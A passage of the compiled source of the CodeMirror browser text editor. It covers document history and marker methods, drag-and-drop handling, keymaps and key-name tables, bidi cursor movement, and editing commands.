      var newSel = collapse && collapse != "end" && computeReplacedSel(this, changes, collapse);
      for (var i$1 = changes.length - 1; i$1 >= 0; i$1--)
        { makeChange(this, changes[i$1]); }
      if (newSel) { setSelectionReplaceHistory(this, newSel); }
      else if (this.cm) { ensureCursorVisible(this.cm); }
    }),
    undo: docMethodOp(function() {makeChangeFromHistory(this, "undo");}),
    redo: docMethodOp(function() {makeChangeFromHistory(this, "redo");}),
    undoSelection: docMethodOp(function() {makeChangeFromHistory(this, "undo", true);}),
    redoSelection: docMethodOp(function() {makeChangeFromHistory(this, "redo", true);}),

    setExtending: function(val) {this.extend = val;},
    getExtending: function() {return this.extend},

    historySize: function() {
      var hist = this.history, done = 0, undone = 0;
      for (var i = 0; i < hist.done.length; i++) { if (!hist.done[i].ranges) { ++done; } }
      for (var i$1 = 0; i$1 < hist.undone.length; i$1++) { if (!hist.undone[i$1].ranges) { ++undone; } }
      return {undo: done, redo: undone}
    },
    clearHistory: function() {
      var this$1 = this;

      this.history = new History(this.history.maxGeneration);
      linkedDocs(this, function (doc) { return doc.history = this$1.history; }, true);
    },

    markClean: function() {
      this.cleanGeneration = this.changeGeneration(true);
    },
    changeGeneration: function(forceSplit) {
      if (forceSplit)
        { this.history.lastOp = this.history.lastSelOp = this.history.lastOrigin = null; }
      return this.history.generation
    },
    isClean: function (gen) {
      return this.history.generation == (gen || this.cleanGeneration)
    },

    getHistory: function() {
      return {done: copyHistoryArray(this.history.done),
              undone: copyHistoryArray(this.history.undone)}
    },
    setHistory: function(histData) {
      var hist = this.history = new History(this.history.maxGeneration);
      hist.done = copyHistoryArray(histData.done.slice(0), null, true);
      hist.undone = copyHistoryArray(histData.undone.slice(0), null, true);
    },

    setGutterMarker: docMethodOp(function(line, gutterID, value) {
      return changeLine(this, line, "gutter", function (line) {
        var markers = line.gutterMarkers || (line.gutterMarkers = {});
        markers[gutterID] = value;
        if (!value && isEmpty(markers)) { line.gutterMarkers = null; }
        return true
      })
    }),

    clearGutter: docMethodOp(function(gutterID) {
      var this$1 = this;

      this.iter(function (line) {
        if (line.gutterMarkers && line.gutterMarkers[gutterID]) {
          changeLine(this$1, line, "gutter", function () {
            line.gutterMarkers[gutterID] = null;
            if (isEmpty(line.gutterMarkers)) { line.gutterMarkers = null; }
            return true
          });
        }
      });
    }),

    lineInfo: function(line) {
      var n;
      if (typeof line == "number") {
        if (!isLine(this, line)) { return null }
        n = line;
        line = getLine(this, line);
        if (!line) { return null }
      } else {
        n = lineNo(line);
        if (n == null) { return null }
      }
      return {line: n, handle: line, text: line.text, gutterMarkers: line.gutterMarkers,
              textClass: line.textClass, bgClass: line.bgClass, wrapClass: line.wrapClass,
              widgets: line.widgets}
    },

    addLineClass: docMethodOp(function(handle, where, cls) {
      return changeLine(this, handle, where == "gutter" ? "gutter" : "class", function (line) {
        var prop = where == "text" ? "textClass"
                 : where == "background" ? "bgClass"
                 : where == "gutter" ? "gutterClass" : "wrapClass";
        if (!line[prop]) { line[prop] = cls; }
        else if (classTest(cls).test(line[prop])) { return false }
        else { line[prop] += " " + cls; }
        return true
      })
    }),
    removeLineClass: docMethodOp(function(handle, where, cls) {
      return changeLine(this, handle, where == "gutter" ? "gutter" : "class", function (line) {
        var prop = where == "text" ? "textClass"
                 : where == "background" ? "bgClass"
                 : where == "gutter" ? "gutterClass" : "wrapClass";
        var cur = line[prop];
        if (!cur) { return false }
        else if (cls == null) { line[prop] = null; }
        else {
          var found = cur.match(classTest(cls));
          if (!found) { return false }
          var end = found.index + found[0].length;
          line[prop] = cur.slice(0, found.index) + (!found.index || end == cur.length ? "" : " ") + cur.slice(end) || null;
        }
        return true
      })
    }),

    addLineWidget: docMethodOp(function(handle, node, options) {
      return addLineWidget(this, handle, node, options)
    }),
    removeLineWidget: function(widget) { widget.clear(); },

    markText: function(from, to, options) {
      return markText(this, clipPos(this, from), clipPos(this, to), options, options && options.type || "range")
    },
    setBookmark: function(pos, options) {
      var realOpts = {replacedWith: options && (options.nodeType == null ? options.widget : options),
                      insertLeft: options && options.insertLeft,
                      clearWhenEmpty: false, shared: options && options.shared,
                      handleMouseEvents: options && options.handleMouseEvents};
      pos = clipPos(this, pos);
      return markText(this, pos, pos, realOpts, "bookmark")
    },
    findMarksAt: function(pos) {
      pos = clipPos(this, pos);
      var markers = [], spans = getLine(this, pos.line).markedSpans;
      if (spans) { for (var i = 0; i < spans.length; ++i) {
        var span = spans[i];
        if ((span.from == null || span.from <= pos.ch) &&
            (span.to == null || span.to >= pos.ch))
          { markers.push(span.marker.parent || span.marker); }
      } }
      return markers
    },
    findMarks: function(from, to, filter) {
      from = clipPos(this, from); to = clipPos(this, to);
      var found = [], lineNo = from.line;
      this.iter(from.line, to.line + 1, function (line) {
        var spans = line.markedSpans;
        if (spans) { for (var i = 0; i < spans.length; i++) {
          var span = spans[i];
          if (!(span.to != null && lineNo == from.line && from.ch >= span.to ||
                span.from == null && lineNo != from.line ||
                span.from != null && lineNo == to.line && span.from >= to.ch) &&
              (!filter || filter(span.marker)))
            { found.push(span.marker.parent || span.marker); }
        } }
        ++lineNo;
      });
      return found
    },
    getAllMarks: function() {
      var markers = [];
      this.iter(function (line) {
        var sps = line.markedSpans;
        if (sps) { for (var i = 0; i < sps.length; ++i)
          { if (sps[i].from != null) { markers.push(sps[i].marker); } } }
      });
      return markers
    },

    posFromIndex: function(off) {
      var ch, lineNo = this.first, sepSize = this.lineSeparator().length;
      this.iter(function (line) {
        var sz = line.text.length + sepSize;
        if (sz > off) { ch = off; return true }
        off -= sz;
        ++lineNo;
      });
      return clipPos(this, Pos(lineNo, ch))
    },
    indexFromPos: function (coords) {
      coords = clipPos(this, coords);
      var index = coords.ch;
      if (coords.line < this.first || coords.ch < 0) { return 0 }
      var sepSize = this.lineSeparator().length;
      this.iter(this.first, coords.line, function (line) { // iter aborts when callback returns a truthy value
        index += line.text.length + sepSize;
      });
      return index
    },

    copy: function(copyHistory) {
      var doc = new Doc(getLines(this, this.first, this.first + this.size),
                        this.modeOption, this.first, this.lineSep, this.direction);
      doc.scrollTop = this.scrollTop; doc.scrollLeft = this.scrollLeft;
      doc.sel = this.sel;
      doc.extend = false;
      if (copyHistory) {
        doc.history.undoDepth = this.history.undoDepth;
        doc.setHistory(this.getHistory());
      }
      return doc
    },

    linkedDoc: function(options) {
      if (!options) { options = {}; }
      var from = this.first, to = this.first + this.size;
      if (options.from != null && options.from > from) { from = options.from; }
      if (options.to != null && options.to < to) { to = options.to; }
      var copy = new Doc(getLines(this, from, to), options.mode || this.modeOption, from, this.lineSep, this.direction);
      if (options.sharedHist) { copy.history = this.history
      ; }(this.linked || (this.linked = [])).push({doc: copy, sharedHist: options.sharedHist});
      copy.linked = [{doc: this, isParent: true, sharedHist: options.sharedHist}];
      copySharedMarkers(copy, findSharedMarkers(this));
      return copy
    },
    unlinkDoc: function(other) {
      if (other instanceof CodeMirror) { other = other.doc; }
      if (this.linked) { for (var i = 0; i < this.linked.length; ++i) {
        var link = this.linked[i];
        if (link.doc != other) { continue }
        this.linked.splice(i, 1);
        other.unlinkDoc(this);
        detachSharedMarkers(findSharedMarkers(this));
        break
      } }
      // If the histories were shared, split them again
      if (other.history == this.history) {
        var splitIds = [other.id];
        linkedDocs(other, function (doc) { return splitIds.push(doc.id); }, true);
        other.history = new History(null);
        other.history.done = copyHistoryArray(this.history.done, splitIds);
        other.history.undone = copyHistoryArray(this.history.undone, splitIds);
      }
    },
    iterLinkedDocs: function(f) {linkedDocs(this, f);},

    getMode: function() {return this.mode},
    getEditor: function() {return this.cm},

    splitLines: function(str) {
      if (this.lineSep) { return str.split(this.lineSep) }
      return splitLinesAuto(str)
    },
    lineSeparator: function() { return this.lineSep || "\n" },

    setDirection: docMethodOp(function (dir) {
      if (dir != "rtl") { dir = "ltr"; }
      if (dir == this.direction) { return }
      this.direction = dir;
      this.iter(function (line) { return line.order = null; });
      if (this.cm) { directionChanged(this.cm); }
    })
  });

  // Public alias.
  Doc.prototype.eachLine = Doc.prototype.iter;

  // Kludge to work around strange IE behavior where it'll sometimes
  // re-fire a series of drag-related events right after the drop (#1551)
  var lastDrop = 0;

  function onDrop(e) {
    var cm = this;
    clearDragCursor(cm);
    if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e))
      { return }
    e_preventDefault(e);
    if (ie) { lastDrop = +new Date; }
    var pos = posFromMouse(cm, e, true), files = e.dataTransfer.files;
    if (!pos || cm.isReadOnly()) { return }
    // Might be a file drop, in which case we simply extract the text
    // and insert it.
    if (files && files.length && window.FileReader && window.File) {
      var n = files.length, text = Array(n), read = 0;
      var markAsReadAndPasteIfAllFilesAreRead = function () {
        if (++read == n) {
          operation(cm, function () {
            pos = clipPos(cm.doc, pos);
            var change = {from: pos, to: pos,
                          text: cm.doc.splitLines(
                              text.filter(function (t) { return t != null; }).join(cm.doc.lineSeparator())),
                          origin: "paste"};
            makeChange(cm.doc, change);
            setSelectionReplaceHistory(cm.doc, simpleSelection(clipPos(cm.doc, pos), clipPos(cm.doc, changeEnd(change))));
          })();
        }
      };
      var readTextFromFile = function (file, i) {
        if (cm.options.allowDropFileTypes &&
            indexOf(cm.options.allowDropFileTypes, file.type) == -1) {
          markAsReadAndPasteIfAllFilesAreRead();
          return
        }
        var reader = new FileReader;
        reader.onerror = function () { return markAsReadAndPasteIfAllFilesAreRead(); };
        reader.onload = function () {
          var content = reader.result;
          if (/[\x00-\x08\x0e-\x1f]{2}/.test(content)) {
            markAsReadAndPasteIfAllFilesAreRead();
            return
          }
          text[i] = content;
          markAsReadAndPasteIfAllFilesAreRead();
        };
        reader.readAsText(file);
      };
      for (var i = 0; i < files.length; i++) { readTextFromFile(files[i], i); }
    } else { // Normal drop
      // Don't do a replace if the drop happened inside of the selected text.
      if (cm.state.draggingText && cm.doc.sel.contains(pos) > -1) {
        cm.state.draggingText(e);
        // Ensure the editor is re-focused
        setTimeout(function () { return cm.display.input.focus(); }, 20);
        return
      }
      try {
        var text$1 = e.dataTransfer.getData("Text");
        if (text$1) {
          var selected;
          if (cm.state.draggingText && !cm.state.draggingText.copy)
            { selected = cm.listSelections(); }
          setSelectionNoUndo(cm.doc, simpleSelection(pos, pos));
          if (selected) { for (var i$1 = 0; i$1 < selected.length; ++i$1)
            { replaceRange(cm.doc, "", selected[i$1].anchor, selected[i$1].head, "drag"); } }
          cm.replaceSelection(text$1, "around", "paste");
          cm.display.input.focus();
        }
      }
      catch(e$1){}
    }
  }

  function onDragStart(cm, e) {
    if (ie && (!cm.state.draggingText || +new Date - lastDrop < 100)) { e_stop(e); return }
    if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e)) { return }

    e.dataTransfer.setData("Text", cm.getSelection());
    e.dataTransfer.effectAllowed = "copyMove";

    // Use dummy image instead of default browsers image.
    // Recent Safari (~6.0.2) have a tendency to segfault when this happens, so we don't do it there.
    if (e.dataTransfer.setDragImage && !safari) {
      var img = elt("img", null, null, "position: fixed; left: 0; top: 0;");
      img.src = "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";
      if (presto) {
        img.width = img.height = 1;
        cm.display.wrapper.appendChild(img);
        // Force a relayout, or Opera won't use our image for some obscure reason
        img._top = img.offsetTop;
      }
      e.dataTransfer.setDragImage(img, 0, 0);
      if (presto) { img.parentNode.removeChild(img); }
    }
  }

  function onDragOver(cm, e) {
    var pos = posFromMouse(cm, e);
    if (!pos) { return }
    var frag = document.createDocumentFragment();
    drawSelectionCursor(cm, pos, frag);
    if (!cm.display.dragCursor) {
      cm.display.dragCursor = elt("div", null, "CodeMirror-cursors CodeMirror-dragcursors");
      cm.display.lineSpace.insertBefore(cm.display.dragCursor, cm.display.cursorDiv);
    }
    removeChildrenAndAdd(cm.display.dragCursor, frag);
  }

  function clearDragCursor(cm) {
    if (cm.display.dragCursor) {
      cm.display.lineSpace.removeChild(cm.display.dragCursor);
      cm.display.dragCursor = null;
    }
  }

  // These must be handled carefully, because naively registering a
  // handler for each editor will cause the editors to never be
  // garbage collected.

  function forEachCodeMirror(f) {
    if (!document.getElementsByClassName) { return }
    var byClass = document.getElementsByClassName("CodeMirror"), editors = [];
    for (var i = 0; i < byClass.length; i++) {
      var cm = byClass[i].CodeMirror;
      if (cm) { editors.push(cm); }
    }
    if (editors.length) { editors[0].operation(function () {
      for (var i = 0; i < editors.length; i++) { f(editors[i]); }
    }); }
  }

  var globalsRegistered = false;
  function ensureGlobalHandlers() {
    if (globalsRegistered) { return }
    registerGlobalHandlers();
    globalsRegistered = true;
  }
  function registerGlobalHandlers() {
    // When the window resizes, we need to refresh active editors.
    var resizeTimer;
    on(window, "resize", function () {
      if (resizeTimer == null) { resizeTimer = setTimeout(function () {
        resizeTimer = null;
        forEachCodeMirror(onResize);
      }, 100); }
    });
    // When the window loses focus, we want to show the editor as blurred
    on(window, "blur", function () { return forEachCodeMirror(onBlur); });
  }
  // Called when the window resizes
  function onResize(cm) {
    var d = cm.display;
    // Might be a text scaling operation, clear size caches.
    d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;
    d.scrollbarsClipped = false;
    cm.setSize();
  }

  var keyNames = {
    3: "Pause", 8: "Backspace", 9: "Tab", 13: "Enter", 16: "Shift", 17: "Ctrl", 18: "Alt",
    19: "Pause", 20: "CapsLock", 27: "Esc", 32: "Space", 33: "PageUp", 34: "PageDown", 35: "End",
    36: "Home", 37: "Left", 38: "Up", 39: "Right", 40: "Down", 44: "PrintScrn", 45: "Insert",
    46: "Delete", 59: ";", 61: "=", 91: "Mod", 92: "Mod", 93: "Mod",
    106: "*", 107: "=", 109: "-", 110: ".", 111: "/", 145: "ScrollLock",
    173: "-", 186: ";", 187: "=", 188: ",", 189: "-", 190: ".", 191: "/", 192: "`", 219: "[", 220: "\\",
    221: "]", 222: "'", 224: "Mod", 63232: "Up", 63233: "Down", 63234: "Left", 63235: "Right", 63272: "Delete",
    63273: "Home", 63275: "End", 63276: "PageUp", 63277: "PageDown", 63302: "Insert"
  };

  // Number keys
  for (var i = 0; i < 10; i++) { keyNames[i + 48] = keyNames[i + 96] = String(i); }
  // Alphabetic keys
  for (var i$1 = 65; i$1 <= 90; i$1++) { keyNames[i$1] = String.fromCharCode(i$1); }
  // Function keys
  for (var i$2 = 1; i$2 <= 12; i$2++) { keyNames[i$2 + 111] = keyNames[i$2 + 63235] = "F" + i$2; }

  var keyMap = {};

  keyMap.basic = {
    "Left": "goCharLeft", "Right": "goCharRight", "Up": "goLineUp", "Down": "goLineDown",
    "End": "goLineEnd", "Home": "goLineStartSmart", "PageUp": "goPageUp", "PageDown": "goPageDown",
    "Delete": "delCharAfter", "Backspace": "delCharBefore", "Shift-Backspace": "delCharBefore",
    "Tab": "defaultTab", "Shift-Tab": "indentAuto",
    "Enter": "newlineAndIndent", "Insert": "toggleOverwrite",
    "Esc": "singleSelection"
  };
  // Note that the save and find-related commands aren't defined by
  // default. User code or addons can define them. Unknown commands
  // are simply ignored.
  keyMap.pcDefault = {
    "Ctrl-A": "selectAll", "Ctrl-D": "deleteLine", "Ctrl-Z": "undo", "Shift-Ctrl-Z": "redo", "Ctrl-Y": "redo",
    "Ctrl-Home": "goDocStart", "Ctrl-End": "goDocEnd", "Ctrl-Up": "goLineUp", "Ctrl-Down": "goLineDown",
    "Ctrl-Left": "goGroupLeft", "Ctrl-Right": "goGroupRight", "Alt-Left": "goLineStart", "Alt-Right": "goLineEnd",
    "Ctrl-Backspace": "delGroupBefore", "Ctrl-Delete": "delGroupAfter", "Ctrl-S": "save", "Ctrl-F": "find",
    "Ctrl-G": "findNext", "Shift-Ctrl-G": "findPrev", "Shift-Ctrl-F": "replace", "Shift-Ctrl-R": "replaceAll",
    "Ctrl-[": "indentLess", "Ctrl-]": "indentMore",
    "Ctrl-U": "undoSelection", "Shift-Ctrl-U": "redoSelection", "Alt-U": "redoSelection",
    "fallthrough": "basic"
  };
  // Very basic readline/emacs-style bindings, which are standard on Mac.
  keyMap.emacsy = {
    "Ctrl-F": "goCharRight", "Ctrl-B": "goCharLeft", "Ctrl-P": "goLineUp", "Ctrl-N": "goLineDown",
    "Alt-F": "goWordRight", "Alt-B": "goWordLeft", "Ctrl-A": "goLineStart", "Ctrl-E": "goLineEnd",
    "Ctrl-V": "goPageDown", "Shift-Ctrl-V": "goPageUp", "Ctrl-D": "delCharAfter", "Ctrl-H": "delCharBefore",
    "Alt-D": "delWordAfter", "Alt-Backspace": "delWordBefore", "Ctrl-K": "killLine", "Ctrl-T": "transposeChars",
    "Ctrl-O": "openLine"
  };
  keyMap.macDefault = {
    "Cmd-A": "selectAll", "Cmd-D": "deleteLine", "Cmd-Z": "undo", "Shift-Cmd-Z": "redo", "Cmd-Y": "redo",
    "Cmd-Home": "goDocStart", "Cmd-Up": "goDocStart", "Cmd-End": "goDocEnd", "Cmd-Down": "goDocEnd", "Alt-Left": "goGroupLeft",
    "Alt-Right": "goGroupRight", "Cmd-Left": "goLineLeft", "Cmd-Right": "goLineRight", "Alt-Backspace": "delGroupBefore",
    "Ctrl-Alt-Backspace": "delGroupAfter", "Alt-Delete": "delGroupAfter", "Cmd-S": "save", "Cmd-F": "find",
    "Cmd-G": "findNext", "Shift-Cmd-G": "findPrev", "Cmd-Alt-F": "replace", "Shift-Cmd-Alt-F": "replaceAll",
    "Cmd-[": "indentLess", "Cmd-]": "indentMore", "Cmd-Backspace": "delWrappedLineLeft", "Cmd-Delete": "delWrappedLineRight",
    "Cmd-U": "undoSelection", "Shift-Cmd-U": "redoSelection", "Ctrl-Up": "goDocStart", "Ctrl-Down": "goDocEnd",
    "fallthrough": ["basic", "emacsy"]
  };
  keyMap["default"] = mac ? keyMap.macDefault : keyMap.pcDefault;

  // KEYMAP DISPATCH

  function normalizeKeyName(name) {
    var parts = name.split(/-(?!$)/);
    name = parts[parts.length - 1];
    var alt, ctrl, shift, cmd;
    for (var i = 0; i < parts.length - 1; i++) {
      var mod = parts[i];
      if (/^(cmd|meta|m)$/i.test(mod)) { cmd = true; }
      else if (/^a(lt)?$/i.test(mod)) { alt = true; }
      else if (/^(c|ctrl|control)$/i.test(mod)) { ctrl = true; }
      else if (/^s(hift)?$/i.test(mod)) { shift = true; }
      else { throw new Error("Unrecognized modifier name: " + mod) }
    }
    if (alt) { name = "Alt-" + name; }
    if (ctrl) { name = "Ctrl-" + name; }
    if (cmd) { name = "Cmd-" + name; }
    if (shift) { name = "Shift-" + name; }
    return name
  }

  // This is a kludge to keep keymaps mostly working as raw objects
  // (backwards compatibility) while at the same time support features
  // like normalization and multi-stroke key bindings. It compiles a
  // new normalized keymap, and then updates the old object to reflect
  // this.
  function normalizeKeyMap(keymap) {
    var copy = {};
    for (var keyname in keymap) { if (keymap.hasOwnProperty(keyname)) {
      var value = keymap[keyname];
      if (/^(name|fallthrough|(de|at)tach)$/.test(keyname)) { continue }
      if (value == "...") { delete keymap[keyname]; continue }

      var keys = map(keyname.split(" "), normalizeKeyName);
      for (var i = 0; i < keys.length; i++) {
        var val = (void 0), name = (void 0);
        if (i == keys.length - 1) {
          name = keys.join(" ");
          val = value;
        } else {
          name = keys.slice(0, i + 1).join(" ");
          val = "...";
        }
        var prev = copy[name];
        if (!prev) { copy[name] = val; }
        else if (prev != val) { throw new Error("Inconsistent bindings for " + name) }
      }
      delete keymap[keyname];
    } }
    for (var prop in copy) { keymap[prop] = copy[prop]; }
    return keymap
  }

  function lookupKey(key, map, handle, context) {
    map = getKeyMap(map);
    var found = map.call ? map.call(key, context) : map[key];
    if (found === false) { return "nothing" }
    if (found === "...") { return "multi" }
    if (found != null && handle(found)) { return "handled" }

    if (map.fallthrough) {
      if (Object.prototype.toString.call(map.fallthrough) != "[object Array]")
        { return lookupKey(key, map.fallthrough, handle, context) }
      for (var i = 0; i < map.fallthrough.length; i++) {
        var result = lookupKey(key, map.fallthrough[i], handle, context);
        if (result) { return result }
      }
    }
  }

  // Modifier key presses don't count as 'real' key presses for the
  // purpose of keymap fallthrough.
  function isModifierKey(value) {
    var name = typeof value == "string" ? value : keyNames[value.keyCode];
    return name == "Ctrl" || name == "Alt" || name == "Shift" || name == "Mod"
  }

  function addModifierNames(name, event, noShift) {
    var base = name;
    if (event.altKey && base != "Alt") { name = "Alt-" + name; }
    if ((flipCtrlCmd ? event.metaKey : event.ctrlKey) && base != "Ctrl") { name = "Ctrl-" + name; }
    if ((flipCtrlCmd ? event.ctrlKey : event.metaKey) && base != "Mod") { name = "Cmd-" + name; }
    if (!noShift && event.shiftKey && base != "Shift") { name = "Shift-" + name; }
    return name
  }

  // Look up the name of a key as indicated by an event object.
  function keyName(event, noShift) {
    if (presto && event.keyCode == 34 && event["char"]) { return false }
    var name = keyNames[event.keyCode];
    if (name == null || event.altGraphKey) { return false }
    // Ctrl-ScrollLock has keyCode 3, same as Ctrl-Pause,
    // so we'll use event.code when available (Chrome 48+, FF 38+, Safari 10.1+)
    if (event.keyCode == 3 && event.code) { name = event.code; }
    return addModifierNames(name, event, noShift)
  }

  function getKeyMap(val) {
    return typeof val == "string" ? keyMap[val] : val
  }

  // Helper for deleting text near the selection(s), used to implement
  // backspace, delete, and similar functionality.
  function deleteNearSelection(cm, compute) {
    var ranges = cm.doc.sel.ranges, kill = [];
    // Build up a set of ranges to kill first, merging overlapping
    // ranges.
    for (var i = 0; i < ranges.length; i++) {
      var toKill = compute(ranges[i]);
      while (kill.length && cmp(toKill.from, lst(kill).to) <= 0) {
        var replaced = kill.pop();
        if (cmp(replaced.from, toKill.from) < 0) {
          toKill.from = replaced.from;
          break
        }
      }
      kill.push(toKill);
    }
    // Next, remove those actual ranges.
    runInOp(cm, function () {
      for (var i = kill.length - 1; i >= 0; i--)
        { replaceRange(cm.doc, "", kill[i].from, kill[i].to, "+delete"); }
      ensureCursorVisible(cm);
    });
  }

  function moveCharLogically(line, ch, dir) {
    var target = skipExtendingChars(line.text, ch + dir, dir);
    return target < 0 || target > line.text.length ? null : target
  }

  function moveLogically(line, start, dir) {
    var ch = moveCharLogically(line, start.ch, dir);
    return ch == null ? null : new Pos(start.line, ch, dir < 0 ? "after" : "before")
  }

  function endOfLine(visually, cm, lineObj, lineNo, dir) {
    if (visually) {
      if (cm.doc.direction == "rtl") { dir = -dir; }
      var order = getOrder(lineObj, cm.doc.direction);
      if (order) {
        var part = dir < 0 ? lst(order) : order[0];
        var moveInStorageOrder = (dir < 0) == (part.level == 1);
        var sticky = moveInStorageOrder ? "after" : "before";
        var ch;
        // With a wrapped rtl chunk (possibly spanning multiple bidi parts),
        // it could be that the last bidi part is not on the last visual line,
        // since visual lines contain content order-consecutive chunks.
        // Thus, in rtl, we are looking for the first (content-order) character
        // in the rtl chunk that is on the last line (that is, the same line
        // as the last (content-order) character).
        if (part.level > 0 || cm.doc.direction == "rtl") {
          var prep = prepareMeasureForLine(cm, lineObj);
          ch = dir < 0 ? lineObj.text.length - 1 : 0;
          var targetTop = measureCharPrepared(cm, prep, ch).top;
          ch = findFirst(function (ch) { return measureCharPrepared(cm, prep, ch).top == targetTop; }, (dir < 0) == (part.level == 1) ? part.from : part.to - 1, ch);
          if (sticky == "before") { ch = moveCharLogically(lineObj, ch, 1); }
        } else { ch = dir < 0 ? part.to : part.from; }
        return new Pos(lineNo, ch, sticky)
      }
    }
    return new Pos(lineNo, dir < 0 ? lineObj.text.length : 0, dir < 0 ? "before" : "after")
  }

  function moveVisually(cm, line, start, dir) {
    var bidi = getOrder(line, cm.doc.direction);
    if (!bidi) { return moveLogically(line, start, dir) }
    if (start.ch >= line.text.length) {
      start.ch = line.text.length;
      start.sticky = "before";
    } else if (start.ch <= 0) {
      start.ch = 0;
      start.sticky = "after";
    }
    var partPos = getBidiPartAt(bidi, start.ch, start.sticky), part = bidi[partPos];
    if (cm.doc.direction == "ltr" && part.level % 2 == 0 && (dir > 0 ? part.to > start.ch : part.from < start.ch)) {
      // Case 1: We move within an ltr part in an ltr editor. Even with wrapped lines,
      // nothing interesting happens.
      return moveLogically(line, start, dir)
    }

    var mv = function (pos, dir) { return moveCharLogically(line, pos instanceof Pos ? pos.ch : pos, dir); };
    var prep;
    var getWrappedLineExtent = function (ch) {
      if (!cm.options.lineWrapping) { return {begin: 0, end: line.text.length} }
      prep = prep || prepareMeasureForLine(cm, line);
      return wrappedLineExtentChar(cm, line, prep, ch)
    };
    var wrappedLineExtent = getWrappedLineExtent(start.sticky == "before" ? mv(start, -1) : start.ch);

    if (cm.doc.direction == "rtl" || part.level == 1) {
      var moveInStorageOrder = (part.level == 1) == (dir < 0);
      var ch = mv(start, moveInStorageOrder ? 1 : -1);
      if (ch != null && (!moveInStorageOrder ? ch >= part.from && ch >= wrappedLineExtent.begin : ch <= part.to && ch <= wrappedLineExtent.end)) {
        // Case 2: We move within an rtl part or in an rtl editor on the same visual line
        var sticky = moveInStorageOrder ? "before" : "after";
        return new Pos(start.line, ch, sticky)
      }
    }

    // Case 3: Could not move within this bidi part in this visual line, so leave
    // the current bidi part

    var searchInVisualLine = function (partPos, dir, wrappedLineExtent) {
      var getRes = function (ch, moveInStorageOrder) { return moveInStorageOrder
        ? new Pos(start.line, mv(ch, 1), "before")
        : new Pos(start.line, ch, "after"); };

      for (; partPos >= 0 && partPos < bidi.length; partPos += dir) {
        var part = bidi[partPos];
        var moveInStorageOrder = (dir > 0) == (part.level != 1);
        var ch = moveInStorageOrder ? wrappedLineExtent.begin : mv(wrappedLineExtent.end, -1);
        if (part.from <= ch && ch < part.to) { return getRes(ch, moveInStorageOrder) }
        ch = moveInStorageOrder ? part.from : mv(part.to, -1);
        if (wrappedLineExtent.begin <= ch && ch < wrappedLineExtent.end) { return getRes(ch, moveInStorageOrder) }
      }
    };

    // Case 3a: Look for other bidi parts on the same visual line
    var res = searchInVisualLine(partPos + dir, dir, wrappedLineExtent);
    if (res) { return res }

    // Case 3b: Look for other bidi parts on the next visual line
    var nextCh = dir > 0 ? wrappedLineExtent.end : mv(wrappedLineExtent.begin, -1);
    if (nextCh != null && !(dir > 0 && nextCh == line.text.length)) {
      res = searchInVisualLine(dir > 0 ? 0 : bidi.length - 1, dir, getWrappedLineExtent(nextCh));
      if (res) { return res }
    }

    // Case 4: Nowhere to move
    return null
  }

  // Commands are parameter-less actions that can be performed on an
  // editor, mostly used for keybindings.
  var commands = {
    selectAll: selectAll,
    singleSelection: function (cm) { return cm.setSelection(cm.getCursor("anchor"), cm.getCursor("head"), sel_dontScroll); },
    killLine: function (cm) { return deleteNearSelection(cm, function (range) {
      if (range.empty()) {
        var len = getLine(cm.doc, range.head.line).text.length;
        if (range.head.ch == len && range.head.line < cm.lastLine())
          { return {from: range.head, to: Pos(range.head.line + 1, 0)} }
        else
          { return {from: range.head, to: Pos(range.head.line, len)} }
      } else {
        return {from: range.from(), to: range.to()}
      }
    }); },
    deleteLine: function (cm) { return deleteNearSelection(cm, function (range) { return ({
      from: Pos(range.from().line, 0),
      to: clipPos(cm.doc, Pos(range.to().line + 1, 0))
    }); }); },
    delLineLeft: function (cm) { return deleteNearSelection(cm, function (range) { return ({
      from: Pos(range.from().line, 0), to: range.from()
    }); }); },
    delWrappedLineLeft: function (cm) { return deleteNearSelection(cm, function (range) {
      var top = cm.charCoords(range.head, "div").top + 5;
      var leftPos = cm.coordsChar({left: 0, top: top}, "div");
      return {from: leftPos, to: range.from()}
    }); },
    delWrappedLineRight: function (cm) { return deleteNearSelection(cm, function (range) {
      var top = cm.charCoords(range.head, "div").top + 5;
      var rightPos = cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, "div");
      return {from: range.from(), to: rightPos }
    }); },
    undo: function (cm) { return cm.undo(); },
    redo: function (cm) { return cm.redo(); },
    undoSelection: function (cm) { return cm.undoSelection(); },
    redoSelection: function (cm) { return cm.redoSelection(); },
    goDocStart: function (cm) { return cm.extendSelection(Pos(cm.firstLine(), 0)); },
    goDocEnd: function (cm) { return cm.extendSelection(Pos(cm.lastLine())); },
    goLineStart: function (cm) { return cm.extendSelectionsBy(function (range) { return lineStart(cm, range.head.line); },
      {origin: "+move", bias: 1}
    ); },
    goLineStartSmart: function (cm) { return cm.extendSelectionsBy(function (range) { return lineStartSmart(cm, range.head); },
      {origin: "+move", bias: 1}
    ); },
    goLineEnd: function (cm) { return cm.extendSelectionsBy(function (range) { return lineEnd(cm, range.head.line); },
      {origin: "+move", bias: -1}
    ); },
    goLineRight: function (cm) { return cm.extendSelectionsBy(function (range) {
      var top = cm.cursorCoords(range.head, "div").top + 5;
      return cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100, top: top}, "div")
    }, sel_move); },
    goLineLeft: function (cm) { return cm.extendSelectionsBy(function (range) {
      var top = cm.cursorCoords(range.head, "div").top + 5;
      return cm.coordsChar({left: 0, top: top}, "div")
    }, sel_move); },
    goLineLeftSmart: function (cm) { return cm.extendSelectionsBy(function (range) {
      var top = cm.cursorCoords(range.head, "div").top + 5;
      var pos = cm.coordsChar({left: 0, top: top}, "div");
      if (pos.ch < cm.getLine(pos.line).search(/\S/)) { return lineStartSmart(cm, range.head) }
      return pos
    }, sel_move); },
    goLineUp: function (cm) { return cm.moveV(-1, "line"); },
    goLineDown: function (cm) { return cm.moveV(1, "line"); },
    goPageUp: function (cm) { return cm.moveV(-1, "page"); },
    goPageDown: function (cm) { return cm.moveV(1, "page"); },
    goCharLeft: function (cm) { return cm.moveH(-1, "char"); },
    goCharRight: function (cm) { return cm.moveH(1, "char"); },
    goColumnLeft: function (cm) { return cm.moveH(-1, "column"); },
    goColumnRight: function (cm) { return cm.moveH(1, "column"); },
    goWordLeft: function (cm) { return cm.moveH(-1, "word"); },
    goGroupRight: function (cm) { return cm.moveH(1, "group"); },
